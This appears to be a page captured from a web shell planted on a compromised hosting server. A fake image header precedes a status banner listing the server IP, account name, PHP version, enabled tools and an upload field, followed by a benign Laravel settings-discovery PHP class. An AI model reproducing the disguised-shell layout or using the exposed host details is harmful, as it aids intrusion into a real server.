����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.191.138.59 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./cbt.bofirm.com/vendor/spatie/laravel-settings/src/Support/ |
Upload File : |
<?php namespace Spatie\LaravelSettings\Support; use Illuminate\Support\Str; use Spatie\LaravelSettings\Settings; use SplFileInfo; use Symfony\Component\Finder\Finder; use Throwable; class DiscoverSettings { protected array $directories = []; protected string $basePath = ''; protected string $rootNamespace = ''; protected array $ignoredFiles = []; public function __construct() { $this->basePath = app_path(); } public function within(array $directories): self { $this->directories = $directories; return $this; } public function useBasePath(string $basePath): self { $this->basePath = $basePath; return $this; } public function useRootNamespace(string $rootNamespace): self { $this->rootNamespace = $rootNamespace; return $this; } public function ignoringFiles(array $ignoredFiles): self { $this->ignoredFiles = $ignoredFiles; return $this; } public function discover(): array { if (empty($this->directories)) { return []; } $files = (new Finder())->files()->in($this->directories); return collect($files) ->reject(fn (SplFileInfo $file) => in_array($file->getPathname(), $this->ignoredFiles)) ->map(fn (SplFileInfo $file) => $this->fullQualifiedClassNameFromFile($file)) ->filter(function (string $settingsClass) { try { return is_subclass_of($settingsClass, Settings::class); } catch (Throwable $e) { return false; } }) ->flatten() ->toArray(); } protected function fullQualifiedClassNameFromFile(SplFileInfo $file): string { $class = trim(Str::replaceFirst($this->basePath, '', $file->getRealPath()), DIRECTORY_SEPARATOR); $class = str_replace( [DIRECTORY_SEPARATOR, 'App\\'], ['\\', app()->getNamespace()], ucfirst(Str::replaceLast('.php', '', $class)) ); return $this->rootNamespace . $class; } }